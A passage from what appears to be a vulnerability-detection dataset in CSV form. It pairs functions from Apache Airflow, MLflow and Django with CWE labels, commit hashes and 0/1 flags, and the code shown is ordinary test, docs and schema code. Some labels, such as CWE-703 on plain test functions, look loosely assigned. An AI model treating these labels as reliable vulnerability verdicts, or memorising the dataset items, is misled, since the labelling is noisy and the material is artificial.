            ""tests/providers/google/cloud/links/test_compute.py"",
            ""tests/providers/google/cloud/links/test_data_loss_prevention.py"",
            ""tests/providers/google/cloud/links/test_datacatalog.py"",
            ""tests/providers/google/cloud/links/test_dataflow.py"",
            ""tests/providers/google/cloud/links/test_dataform.py"",
            ""tests/providers/google/cloud/links/test_datafusion.py"",
            ""tests/providers/google/cloud/links/test_dataplex.py"",
            ""tests/providers/google/cloud/links/test_dataprep.py"",
            ""tests/providers/google/cloud/links/test_dataproc.py"",
            ""tests/providers/google/cloud/links/test_datastore.py"",
            ""tests/providers/google/cloud/links/test_kubernetes_engine.py"",
            ""tests/providers/google/cloud/links/test_life_sciences.py"",
            ""tests/providers/google/cloud/links/test_mlengine.py"",
            ""tests/providers/google/cloud/links/test_pubsub.py"",
            ""tests/providers/google/cloud/links/test_spanner.py"",
            ""tests/providers/google/cloud/links/test_stackdriver.py"",
            ""tests/providers/google/cloud/links/test_vertex_ai.py"",
            ""tests/providers/google/cloud/links/test_workflows.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_auto_ml.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_batch_prediction_job.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_custom_job.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_dataset.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_endpoint_service.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_hyperparameter_tuning_job.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_model_service.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_pipeline_job.py"",
            ""tests/providers/google/cloud/sensors/test_dataform.py"",
            ""tests/providers/google/cloud/transfers/test_bigquery_to_sql.py"",
            ""tests/providers/google/cloud/transfers/test_mssql_to_gcs.py"",
            ""tests/providers/google/cloud/transfers/test_presto_to_gcs.py"",
            ""tests/providers/google/cloud/transfers/test_trino_to_gcs.py"",
            ""tests/providers/google/cloud/triggers/test_cloud_composer.py"",
            ""tests/providers/google/cloud/utils/test_bigquery.py"",
            ""tests/providers/google/cloud/utils/test_bigquery_get_data.py"",
            ""tests/providers/google/cloud/utils/test_dataform.py"",
            ""tests/providers/google/common/links/test_storage.py"",
            ""tests/providers/google/common/test_consts.py"",
            ""tests/providers/google/test_go_module_utils.py"",
            ""tests/providers/microsoft/azure/operators/test_adls.py"",
            ""tests/providers/microsoft/azure/transfers/test_azure_blob_to_gcs.py"",
            ""tests/providers/mongo/sensors/test_mongo.py"",
            ""tests/providers/redis/operators/test_redis_publish.py"",
            ""tests/providers/redis/sensors/test_redis_key.py"",
            ""tests/providers/slack/notifications/test_slack_notifier.py"",
            ""tests/providers/snowflake/triggers/test_snowflake_trigger.py"",
        ]

        # TODO: Should we extend this test to cover other directories?
        modules_files = list(glob.glob(f""{ROOT_FOLDER}/airflow/providers/**/*.py"", recursive=True))

        # Make path relative
        modules_files = list(os.path.relpath(f, ROOT_FOLDER) for f in modules_files)
        # Exclude example_dags
        modules_files = list(f for f in modules_files if ""/example_dags/"" not in f)
        # Exclude __init__.py
        modules_files = list(f for f in modules_files if not f.endswith(""__init__.py""))
        # Change airflow/ to tests/
        expected_test_files = list(
            f'tests/{f.partition(""/"")[2]}' for f in modules_files if not f.endswith(""__init__.py"")
        )
        # Add test_ prefix to filename
        expected_test_files = list(
            f'{f.rpartition(""/"")[0]}/test_{f.rpartition(""/"")[2]}'
            for f in expected_test_files
            if not f.endswith(""__init__.py"")
        )

        current_test_files = glob.glob(f""{ROOT_FOLDER}/tests/providers/**/*.py"", recursive=True)
        # Make path relative
        current_test_files = (os.path.relpath(f, ROOT_FOLDER) for f in current_test_files)
        # Exclude __init__.py
        current_test_files = (f for f in current_test_files if not f.endswith(""__init__.py""))

        modules_files = set(modules_files)
        expected_test_files = set(expected_test_files) - set(OVERLOOKED_TESTS)
        current_test_files = set(current_test_files)

        missing_tests_files = expected_test_files - expected_test_files.intersection(current_test_files)

        assert set() == missing_tests_files, ""Detect missing tests in providers module - please add tests""

        added_test_files = current_test_files.intersection(OVERLOOKED_TESTS)
        assert set() == added_test_files, (
            ""Detect added tests in providers module - please remove the tests ""
            ""from OVERLOOKED_TESTS list above""
        )",CWE-703,apache/airflow,4ae85d754e9f8a65d461e86eb6111d3b9974a065,"def test_providers_modules_should_have_tests(self):
        """"""
        Assert every module in /airflow/providers has a corresponding test_ file in tests/airflow/providers.
        """"""
        # The test below had a but for quite a while and we missed a lot of modules to have tess
        # We should make sure that one goes to 0
        OVERLOOKED_TESTS = [
            ""tests/providers/amazon/aws/executors/batch/test_boto_schema.py"",
            ""tests/providers/amazon/aws/executors/batch/test_batch_executor_config.py"",
            ""tests/providers/amazon/aws/executors/batch/test_utils.py"",
            ""tests/providers/amazon/aws/executors/ecs/test_boto_schema.py"",
            ""tests/providers/amazon/aws/executors/ecs/test_ecs_executor_config.py"",
            ""tests/providers/amazon/aws/executors/ecs/test_utils.py"",
            ""tests/providers/amazon/aws/executors/utils/test_base_config_keys.py"",
            ""tests/providers/amazon/aws/operators/test_emr.py"",
            ""tests/providers/amazon/aws/operators/test_sagemaker.py"",
            ""tests/providers/amazon/aws/sensors/test_emr.py"",
            ""tests/providers/amazon/aws/sensors/test_sagemaker.py"",
            ""tests/providers/amazon/aws/test_exceptions.py"",
            ""tests/providers/amazon/aws/triggers/test_eks.py"",
            ""tests/providers/amazon/aws/triggers/test_step_function.py"",
            ""tests/providers/amazon/aws/utils/test_rds.py"",
            ""tests/providers/amazon/aws/utils/test_sagemaker.py"",
            ""tests/providers/amazon/aws/waiters/test_base_waiter.py"",
            ""tests/providers/apache/cassandra/hooks/test_cassandra.py"",
            ""tests/providers/apache/drill/operators/test_drill.py"",
            ""tests/providers/apache/druid/operators/test_druid_check.py"",
            ""tests/providers/apache/hdfs/hooks/test_hdfs.py"",
            ""tests/providers/apache/hdfs/log/test_hdfs_task_handler.py"",
            ""tests/providers/apache/hdfs/sensors/test_hdfs.py"",
            ""tests/providers/apache/hive/transfers/test_mssql_to_hive.py"",
            ""tests/providers/apache/hive/plugins/test_hive.py"",
            ""tests/providers/apache/kafka/hooks/test_base.py"",
            ""tests/providers/celery/executors/test_celery_executor_utils.py"",
            ""tests/providers/celery/executors/test_default_celery.py"",
            ""tests/providers/cncf/kubernetes/backcompat/test_backwards_compat_converters.py"",
            ""tests/providers/cncf/kubernetes/executors/test_kubernetes_executor_types.py"",
            ""tests/providers/cncf/kubernetes/executors/test_kubernetes_executor_utils.py"",
            ""tests/providers/cncf/kubernetes/operators/test_kubernetes_pod.py"",
            ""tests/providers/cncf/kubernetes/test_k8s_model.py"",
            ""tests/providers/cncf/kubernetes/test_kube_client.py"",
            ""tests/providers/cncf/kubernetes/test_kube_config.py"",
            ""tests/providers/cncf/kubernetes/test_pod_generator_deprecated.py"",
            ""tests/providers/cncf/kubernetes/test_pod_launcher_deprecated.py"",
            ""tests/providers/cncf/kubernetes/test_python_kubernetes_script.py"",
            ""tests/providers/cncf/kubernetes/test_secret.py"",
            ""tests/providers/cncf/kubernetes/triggers/test_kubernetes_pod.py"",
            ""tests/providers/cncf/kubernetes/utils/test_delete_from.py"",
            ""tests/providers/cncf/kubernetes/utils/test_k8s_hashlib_wrapper.py"",
            ""tests/providers/cncf/kubernetes/utils/test_xcom_sidecar.py"",
            ""tests/providers/databricks/hooks/test_databricks_base.py"",
            ""tests/providers/google/cloud/fs/test_gcs.py"",
            ""tests/providers/google/cloud/links/test_automl.py"",
            ""tests/providers/google/cloud/links/test_base.py"",
            ""tests/providers/google/cloud/links/test_bigquery.py"",
            ""tests/providers/google/cloud/links/test_bigquery_dts.py"",
            ""tests/providers/google/cloud/links/test_bigtable.py"",
            ""tests/providers/google/cloud/links/test_cloud_build.py"",
            ""tests/providers/google/cloud/links/test_cloud_functions.py"",
            ""tests/providers/google/cloud/links/test_cloud_memorystore.py"",
            ""tests/providers/google/cloud/links/test_cloud_sql.py"",
            ""tests/providers/google/cloud/links/test_cloud_storage_transfer.py"",
            ""tests/providers/google/cloud/links/test_cloud_tasks.py"",
            ""tests/providers/google/cloud/links/test_compute.py"",
            ""tests/providers/google/cloud/links/test_data_loss_prevention.py"",
            ""tests/providers/google/cloud/links/test_datacatalog.py"",
            ""tests/providers/google/cloud/links/test_dataflow.py"",
            ""tests/providers/google/cloud/links/test_dataform.py"",
            ""tests/providers/google/cloud/links/test_datafusion.py"",
            ""tests/providers/google/cloud/links/test_dataplex.py"",
            ""tests/providers/google/cloud/links/test_dataprep.py"",
            ""tests/providers/google/cloud/links/test_dataproc.py"",
            ""tests/providers/google/cloud/links/test_datastore.py"",
            ""tests/providers/google/cloud/links/test_kubernetes_engine.py"",
            ""tests/providers/google/cloud/links/test_life_sciences.py"",
            ""tests/providers/google/cloud/links/test_mlengine.py"",
            ""tests/providers/google/cloud/links/test_pubsub.py"",
            ""tests/providers/google/cloud/links/test_spanner.py"",
            ""tests/providers/google/cloud/links/test_stackdriver.py"",
            ""tests/providers/google/cloud/links/test_vertex_ai.py"",
            ""tests/providers/google/cloud/links/test_workflows.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_auto_ml.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_batch_prediction_job.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_custom_job.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_dataset.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_endpoint_service.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_hyperparameter_tuning_job.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_model_service.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_pipeline_job.py"",
            ""tests/providers/google/cloud/sensors/test_dataform.py"",
            ""tests/providers/google/cloud/transfers/test_bigquery_to_mssql.py"",
            ""tests/providers/google/cloud/transfers/test_bigquery_to_sql.py"",
            ""tests/providers/google/cloud/transfers/test_mssql_to_gcs.py"",
            ""tests/providers/google/cloud/transfers/test_presto_to_gcs.py"",
            ""tests/providers/google/cloud/transfers/test_trino_to_gcs.py"",
            ""tests/providers/google/cloud/triggers/test_cloud_composer.py"",
            ""tests/providers/google/cloud/utils/test_bigquery.py"",
            ""tests/providers/google/cloud/utils/test_bigquery_get_data.py"",
            ""tests/providers/google/cloud/utils/test_dataform.py"",
            ""tests/providers/google/common/links/test_storage.py"",
            ""tests/providers/google/common/test_consts.py"",
            ""tests/providers/google/test_go_module_utils.py"",
            ""tests/providers/microsoft/azure/operators/test_adls.py"",
            ""tests/providers/microsoft/azure/transfers/test_azure_blob_to_gcs.py"",
            ""tests/providers/mongo/sensors/test_mongo.py"",
            ""tests/providers/redis/operators/test_redis_publish.py"",
            ""tests/providers/redis/sensors/test_redis_key.py"",
            ""tests/providers/slack/notifications/test_slack_notifier.py"",
            ""tests/providers/snowflake/triggers/test_snowflake_trigger.py"",
        ]

        # TODO: Should we extend this test to cover other directories?
        modules_files = list(glob.glob(f""{ROOT_FOLDER}/airflow/providers/**/*.py"", recursive=True))

        # Make path relative
        modules_files = list(os.path.relpath(f, ROOT_FOLDER) for f in modules_files)
        # Exclude example_dags
        modules_files = list(f for f in modules_files if ""/example_dags/"" not in f)
        # Exclude __init__.py
        modules_files = list(f for f in modules_files if not f.endswith(""__init__.py""))
        # Change airflow/ to tests/
        expected_test_files = list(
            f'tests/{f.partition(""/"")[2]}' for f in modules_files if not f.endswith(""__init__.py"")
        )
        # Add test_ prefix to filename
        expected_test_files = list(
            f'{f.rpartition(""/"")[0]}/test_{f.rpartition(""/"")[2]}'
            for f in expected_test_files
            if not f.endswith(""__init__.py"")
        )

        current_test_files = glob.glob(f""{ROOT_FOLDER}/tests/providers/**/*.py"", recursive=True)
        # Make path relative
        current_test_files = (os.path.relpath(f, ROOT_FOLDER) for f in current_test_files)
        # Exclude __init__.py
        current_test_files = (f for f in current_test_files if not f.endswith(""__init__.py""))

        modules_files = set(modules_files)
        expected_test_files = set(expected_test_files) - set(OVERLOOKED_TESTS)
        current_test_files = set(current_test_files)

        missing_tests_files = expected_test_files - expected_test_files.intersection(current_test_files)

        assert set() == missing_tests_files, ""Detect missing tests in providers module - please add tests""

        added_test_files = current_test_files.intersection(OVERLOOKED_TESTS)
        assert set() == added_test_files, (
            ""Detect added tests in providers module - please remove the tests ""
            ""from OVERLOOKED_TESTS list above""
        )"
,UNKNOWN,UNKNOWN,tests/jobs/test_scheduler_job.py,1,"def test_verify_integrity_if_dag_changed(self, dag_maker):
        # CleanUp
        with create_session() as session:
            session.query(SerializedDagModel).filter(
                SerializedDagModel.dag_id == ""test_verify_integrity_if_dag_changed""
            ).delete(synchronize_session=False)

        with dag_maker(dag_id=""test_verify_integrity_if_dag_changed"") as dag:
            BashOperator(task_id=""dummy"", bash_command=""echo hi"")

        scheduler_job = Job()
        self.job_runner = SchedulerJobRunner(job=scheduler_job)

        session = settings.Session()
        orm_dag = dag_maker.dag_model
        assert orm_dag is not None

        scheduler_job = Job()
        self.job_runner = SchedulerJobRunner(job=scheduler_job)

        dag = self.job_runner.dagbag.get_dag(""test_verify_integrity_if_dag_changed"", session=session)
        self.job_runner._create_dag_runs([orm_dag], session)

        drs = DagRun.find(dag_id=dag.dag_id, session=session)
        assert len(drs) == 1
        dr = drs[0]

        dag_version_1 = SerializedDagModel.get_latest_version_hash(dr.dag_id, session=session)
        assert dr.dag_version.serialized_dag.dag_hash == dag_version_1
        assert self.job_runner.dagbag.dags == {""test_verify_integrity_if_dag_changed"": dag}
        assert len(self.job_runner.dagbag.dags.get(""test_verify_integrity_if_dag_changed"").tasks) == 1

        # Now let's say the DAG got updated (new task got added)
        BashOperator(task_id=""bash_task_1"", dag=dag, bash_command=""echo hi"")
        SerializedDagModel.write_dag(dag=dag, bundle_name=""testing"")

        dag_version_2 = SerializedDagModel.get_latest_version_hash(dr.dag_id, session=session)
        assert dag_version_2 != dag_version_1

        self.job_runner._schedule_dag_run(dr, session)
        session.flush()

        drs = DagRun.find(dag_id=dag.dag_id, session=session)
        assert len(drs) == 1
        dr = drs[0]
        assert dr.dag_version.serialized_dag.dag_hash == dag_version_2
        assert self.job_runner.dagbag.dags == {""test_verify_integrity_if_dag_changed"": dag}
        assert len(self.job_runner.dagbag.dags.get(""test_verify_integrity_if_dag_changed"").tasks) == 2

        tis_count = (
            session.query(func.count(TaskInstance.task_id))
            .filter(
                TaskInstance.dag_id == dr.dag_id,
                TaskInstance.logical_date == dr.logical_date,
                TaskInstance.state == State.SCHEDULED,
            )
            .scalar()
        )
        assert tis_count == 2

        latest_dag_version = SerializedDagModel.get_latest_version_hash(dr.dag_id, session=session)
        assert dr.dag_version.serialized_dag.dag_hash == latest_dag_version

        session.rollback()
        session.close()",CWE-703,apache/airflow,577985821e4e3c8cfbc2797feb19cc32fe2aaac0,"def test_verify_integrity_if_dag_changed(self, dag_maker):
        # CleanUp
        with create_session() as session:
            session.query(SerializedDagModel).filter(
                SerializedDagModel.dag_id == ""test_verify_integrity_if_dag_changed""
            ).delete(synchronize_session=False)

        with dag_maker(dag_id=""test_verify_integrity_if_dag_changed"") as dag:
            BashOperator(task_id=""dummy"", bash_command=""echo hi"")

        scheduler_job = Job()
        self.job_runner = SchedulerJobRunner(job=scheduler_job)

        session = settings.Session()
        orm_dag = dag_maker.dag_model
        assert orm_dag is not None

        scheduler_job = Job()
        self.job_runner = SchedulerJobRunner(job=scheduler_job)

        dag = self.job_runner.dagbag.get_dag(""test_verify_integrity_if_dag_changed"", session=session)
        self.job_runner._create_dag_runs([orm_dag], session)

        drs = DagRun.find(dag_id=dag.dag_id, session=session)
        assert len(drs) == 1
        dr = drs[0]

        dag_version_1 = SerializedDagModel.get_latest_version_hash(dr.dag_id, session=session)
        assert dr.dag_version.serialized_dag.dag_hash == dag_version_1
        assert self.job_runner.dagbag.dags == {""test_verify_integrity_if_dag_changed"": dag}
        assert len(self.job_runner.dagbag.dags.get(""test_verify_integrity_if_dag_changed"").tasks) == 1

        # Now let's say the DAG got updated (new task got added)
        BashOperator(task_id=""bash_task_1"", dag=dag, bash_command=""echo hi"")
        SerializedDagModel.write_dag(dag=dag)

        dag_version_2 = SerializedDagModel.get_latest_version_hash(dr.dag_id, session=session)
        assert dag_version_2 != dag_version_1

        self.job_runner._schedule_dag_run(dr, session)
        session.flush()

        drs = DagRun.find(dag_id=dag.dag_id, session=session)
        assert len(drs) == 1
        dr = drs[0]
        assert dr.dag_version.serialized_dag.dag_hash == dag_version_2
        assert self.job_runner.dagbag.dags == {""test_verify_integrity_if_dag_changed"": dag}
        assert len(self.job_runner.dagbag.dags.get(""test_verify_integrity_if_dag_changed"").tasks) == 2

        tis_count = (
            session.query(func.count(TaskInstance.task_id))
            .filter(
                TaskInstance.dag_id == dr.dag_id,
                TaskInstance.logical_date == dr.logical_date,
                TaskInstance.state == State.SCHEDULED,
            )
            .scalar()
        )
        assert tis_count == 2

        latest_dag_version = SerializedDagModel.get_latest_version_hash(dr.dag_id, session=session)
        assert dr.dag_version.serialized_dag.dag_hash == latest_dag_version

        session.rollback()
        session.close()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,docs/conf.py,0,"def get_configs_and_deprecations(
    package_name: str,
    package_version: Version,
) -> tuple[dict[str, dict[str, tuple[str, str, str]]], dict[str, dict[str, tuple[str, str, str]]]]:
    deprecated_options: dict[str, dict[str, tuple[str, str, str]]] = defaultdict(dict)
    for (section, key), (
        (deprecated_section, deprecated_key, since_version)
    ) in AirflowConfigParser.deprecated_options.items():
        deprecated_options[deprecated_section][deprecated_key] = section, key, since_version

    for (section, key), deprecated in AirflowConfigParser.many_to_one_deprecated_options.items():
        for deprecated_section, deprecated_key, since_version in deprecated:
            deprecated_options[deprecated_section][deprecated_key] = section, key, since_version

    if package_name == ""apache-airflow"":
        configs = retrieve_configuration_description(include_providers=False)
    else:
        configs = retrieve_configuration_description(
            include_airflow=False, include_providers=True, selected_provider=package_name
        )

    # We want the default/example we show in the docs to reflect the value _after_
    # the config has been templated, not before
    # e.g. {{dag_id}} in default_config.cfg -> {dag_id} in airflow.cfg, and what we want in docs
    keys_to_format = [""default"", ""example""]
    for conf_section in configs.values():
        for option_name, option in list(conf_section[""options""].items()):
            for key in keys_to_format:
                if option[key] and ""{{"" in option[key]:
                    option[key] = option[key].replace(""{{"", ""{"").replace(""}}"", ""}"")
            version_added = option[""version_added""]
            if version_added is not None and parse_version(version_added) > package_version:
                del conf_section[""options""][option_name]

    # Sort options, config and deprecated options for JINJA variables to display
    for config in configs.values():
        config[""options""] = {k: v for k, v in sorted(config[""options""].items())}
    configs = {k: v for k, v in sorted(configs.items())}
    for section in deprecated_options:
        deprecated_options[section] = {k: v for k, v in sorted(deprecated_options[section].items())}
    return configs, deprecated_options",CWE-Unknown,apache/airflow,95a136e7fda4ada07174020c37bf373e1c3c7d88,"def get_configs_and_deprecations(
    package_name: str,
    package_version: Version,
) -> tuple[dict[str, dict[str, tuple[str, str, str]]], dict[str, dict[str, tuple[str, str, str]]]]:
    deprecated_options: dict[str, dict[str, tuple[str, str, str]]] = defaultdict(dict)
    for (section, key), (
        (deprecated_section, deprecated_key, since_version)
    ) in AirflowConfigParser.deprecated_options.items():
        deprecated_options[deprecated_section][deprecated_key] = section, key, since_version

    for (section, key), deprecated in AirflowConfigParser.many_to_one_deprecated_options.items():
        for deprecated_section, deprecated_key, since_version in deprecated:
            deprecated_options[deprecated_section][deprecated_key] = section, key, since_version

    if package_name == ""apache-airflow"":
        configs = retrieve_configuration_description(include_providers=False)
    else:
        configs = retrieve_configuration_description(
            include_airflow=False, include_providers=True, selected_provider=package_name
        )

    # We want the default/example we show in the docs to reflect the value _after_
    # the config has been templated, not before
    # e.g. {{dag_id}} in default_config.cfg -> {dag_id} in airflow.cfg, and what we want in docs
    keys_to_format = [""default"", ""example""]
    for conf_name, conf_section in configs.items():
        for option_name, option in list(conf_section[""options""].items()):
            for key in keys_to_format:
                if option[key] and ""{{"" in option[key]:
                    option[key] = option[key].replace(""{{"", ""{"").replace(""}}"", ""}"")
            version_added = option[""version_added""]
            if version_added is not None and parse_version(version_added) > package_version:
                del conf_section[""options""][option_name]

    # Sort options, config and deprecated options for JINJA variables to display
    for section_name, config in configs.items():
        config[""options""] = {k: v for k, v in sorted(config[""options""].items())}
    configs = {k: v for k, v in sorted(configs.items())}
    for section in deprecated_options:
        deprecated_options[section] = {k: v for k, v in sorted(deprecated_options[section].items())}
    return configs, deprecated_options"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/utils/file_utils.py,0,"def download_file_using_http_uri(http_uri, download_path, chunk_size=100000000, headers=None):
    """"""
    Downloads a file specified using the `http_uri` to a local `download_path`. This function
    uses a `chunk_size` to ensure an OOM error is not raised a large file is downloaded.

    Note : This function is meant to download files using presigned urls from various cloud
            providers.
    """"""
    if headers is None:
        headers = {}
    with cloud_storage_http_request(""get"", http_uri, stream=True, headers=headers) as response:
        augmented_raise_for_status(response)
        with open(download_path, ""wb"") as output_file:
            for chunk in response.iter_content(chunk_size=chunk_size):
                if not chunk:
                    break
                output_file.write(chunk)",,mlflow/mlflow,6fe0d2d46e4604464f7c721e9ad5f13a598071b9,"def download_file_using_http_uri(http_uri, download_path, chunk_size=100000000, headers=None):
    """"""
    Downloads a file specified using the `http_uri` to a local `download_path`. This function
    uses a `chunk_size` to ensure an OOM error is not raised a large file is downloaded.

    Note : This function is meant to download files using presigned urls from various cloud
            providers.
    """"""
    with cloud_storage_http_request(""get"", http_uri, stream=True, headers=headers) as response:
        augmented_raise_for_status(response)
        with open(download_path, ""wb"") as output_file:
            for chunk in response.iter_content(chunk_size=chunk_size):
                if not chunk:
                    break
                output_file.write(chunk)"
,UNKNOWN,UNKNOWN,django/db/backends/base/schema.py,1,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
                     old_db_params, new_db_params, strict=False):
        """"""Perform a ""physical"" (non-ManyToMany) field update.""""""
        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.remote_field and old_field.db_constraint:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
        # Drop incoming FK constraints if the field is a primary key or unique,
        # which might be a to_field target, and things are going to change.
        drop_foreign_keys = (
            (
                (old_field.primary_key and new_field.primary_key) or
                (old_field.unique and new_field.unique)
            ) and old_type != new_type
        )
        if drop_foreign_keys:
            # '_meta.related_field' also contains M2M reverse fields, these
            # will be filtered out
            for _old_rel, new_rel in _related_non_m2m_objects(old_field, new_field):
                rel_fk_names = self._constraint_names(
                    new_rel.related_model, [new_rel.field.column], foreign_key=True
                )
                for fk_name in rel_fk_names:
                    self.execute(self._delete_constraint_sql(self.sql_delete_fk, new_rel.related_model, fk_name))
        # Removed an index? (no strict check, as multiple indexes are possible)
        # Remove indexes if db_index switched to False or a unique constraint
        # will now be used in lieu of an index. The following lines from the
        # truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # True               | False            | False              | False
        # True               | False            | False              | True
        # True               | False            | True               | True
        if old_field.db_index and not old_field.unique and (not new_field.db_index or new_field.unique):
            # Find the index for this field
            meta_index_names = {index.name for index in model._meta.indexes}
            # Retrieve only BTREE indexes since this is what's created with
            # db_index=True.
            index_names = self._constraint_names(model, [old_field.column], index=True, type_=Index.suffix)
            for index_name in index_names:
                if index_name in meta_index_names:
                    # The only way to check if an index was created with
                    # db_index=True or with Index(['field'], name='foo')
                    # is to look at its name (refs #28053).
                    continue
                self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self._rename_field_sql(model._meta.db_table, old_field, new_field, new_type))
            # Rename all references to the renamed column.
            for sql in self.deferred_sql:
                if isinstance(sql, Statement):
                    sql.rename_column_references(model._meta.db_table, old_field.column, new_field.column)
        # Next, start accumulating actions to do
        actions = []
        null_actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(model, old_field, new_field, new_type)
            actions.append(fragment)
            post_actions.extend(other_actions)
        # When changing a column NULL constraint to NOT NULL with a given
        # default value, we need to perform 4 steps:
        #  1. Add a default for new incoming writes
        #  2. Update existing NULL rows with new default
        #  3. Replace NULL constraint with NOT NULL
        #  4. Drop the default again.
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        needs_database_default = (
            old_field.null and
            not new_field.null and
            old_default != new_default and
            new_default is not None and
            not self.skip_default(new_field)
        )
        if needs_database_default:
            actions.append(self._alter_column_default_sql(model, old_field, new_field))
        # Nullability change?
        if old_field.null != new_field.null:
            fragment = self._alter_column_null_sql(model, old_field, new_field)
            if fragment:
                null_actions.append(fragment)
        # Only if we have a default and there is a change from NULL to NOT NULL
        four_way_default_alteration = (
            new_field.has_default() and
            (old_field.null and not new_field.null)
        )
        if actions or null_actions:
            if not four_way_default_alteration:
                # If we don't have to do a 4-way default alteration we can
                # directly run a (NOT) NULL alteration
                actions = actions + null_actions
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters and actions:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), sum(params, []))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
            if four_way_default_alteration:
                # Update existing rows with default value
                self.execute(
                    self.sql_update_with_default % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                )
                # Since we didn't run a NOT NULL change before we need to do it
                # now
                for sql, params in null_actions:
                    self.execute(
                        self.sql_alter_column % {
                            ""table"": self.quote_name(model._meta.db_table),
                            ""changes"": sql,
                        },
                        params,
                    )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if (not old_field.unique and new_field.unique) or (
            old_field.primary_key and not new_field.primary_key and new_field.unique
        ):
            self.execute(self._create_unique_sql(model, [new_field.column]))
        # Added an index? Add an index if db_index switched to True or a unique
        # constraint will no longer be used in lieu of an index. The following
        # lines from the truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # False              | False            | True               | False
        # False              | True             | True               | False
        # True               | True             | True               | False
        if (not old_field.db_index or old_field.unique) and new_field.db_index and not new_field.unique:
            self.execute(self._create_index_sql(model, [new_field]))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            self._delete_primary_key(model, strict)
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(
                        self._create_index_name(model._meta.db_table, [new_field.column], suffix=""_pk"")
                    ),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Handle our type alters on the other end of rels from the PK stuff above
        for old_rel, new_rel in rels_to_update:
            rel_db_params = new_rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            fragment, other_actions = self._alter_column_type_sql(
                new_rel.related_model, old_rel.field, new_rel.field, rel_type
            )
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(new_rel.related_model._meta.db_table),
                    ""changes"": fragment[0],
                },
                fragment[1],
            )
            for sql, params in other_actions:
                self.execute(sql, params)
        # Does it have a foreign key?
        if (new_field.remote_field and
                (fks_dropped or not old_field.remote_field or not old_field.db_constraint) and
                new_field.db_constraint):
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if drop_foreign_keys:
            for rel in new_field.model._meta.related_objects:
                if not rel.many_to_many and rel.field.db_constraint:
                    self.execute(self._create_fk_sql(rel.related_model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(
